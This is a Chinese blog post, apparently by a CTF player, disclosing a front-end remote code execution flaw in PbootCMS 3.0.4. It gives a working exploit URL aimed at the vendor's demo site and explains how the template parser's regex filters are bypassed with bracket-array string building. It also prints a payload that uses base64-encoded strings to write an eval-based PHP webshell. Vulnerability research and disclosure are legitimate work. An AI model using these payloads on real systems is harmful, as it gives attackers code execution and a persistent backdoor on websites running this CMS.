CTF

PbootCMS最新版前台RCE(3.0.4)

Posted on 2021-06-17,3 min read

前言:

这个洞。。2月份就挖出来了。然后看到补天有个收CMS通用的活动,交补天了。补天不认???
最新版。前台RCE。对比3.0.4旧版本。发现decade师傅先知上发文章后。pbootcms又更新了。加了个正则waf(不过版本号没变,还是3.0.4。和decade师傅确认了下。确实和当时的3.0.4不一样。打了新的补丁)。漏洞点源码都不一样。网上公开的EXP都打不了,补天不认为这是个新洞??(不是内部已知/重复,认为这还是之前公开的RCE)。

至此。拜拜您嘞。一直屯到现在。出给某个比赛了。然而这波和华东南撞题了。好家伙。那就换题公开吧

EXP:

http://demo.pbootcms.com/search/?keyword={pboot{user:password}:if(([php.info][0])([1][0]));//)}xxx{/pboot:if}

漏洞分析:

/apps/home/controller/ParserController.php

第一层检测:

正则匹配了字符和括号中间不能出现不可见字符和字符。也就是不能出现a-z形式。并且会检测括号前是否是函数。这一层检测就防止直接调用函数了。

图片

第二层检测:

主要就是对各个关键函数的检测。并且括号内不能出现a-z0-9A-Z字符串/点/空格

图片

这里对于()的防御手段较多。那么可以找一个基于其他方法拼接得到字符串。比如在PHP中数组配合中括号可以获得值

图片

这里的正则。并没有对中括号进行检测。所以基于这一特征。可以绕过第一层和第二层正则的waf。关键字依旧可以用点拼接

[php.info][0]。获取到phpinfo字符串。然后再用()动态调用。这样他的正则()内匹配到的是[]。并不是字符。所以可以绕过

基于这一特性。再构造一个写shell的payload

EXP之写Shell

{pboot{user:password}:if(([file_put_co.ntents][0])(([ba.se64_decode][0])([L3Zhci93d3cvaHRtbC9ydW50aW1lL2NvbXBsaWxlL0d1b2tlLnBocC8u][0]),(([bas.e64_decode][0])([PD9waHAKZXZhbCgkX1BPU1RbJ2d1b2tlJ10pOy8v][0]))));//)}xxx{/pboot:if}

拼接出file_put_contents和base64-decode。再配合a-z字符串。动态调用。即可写shell

下一篇: [QWB2021 Quals]陀那多→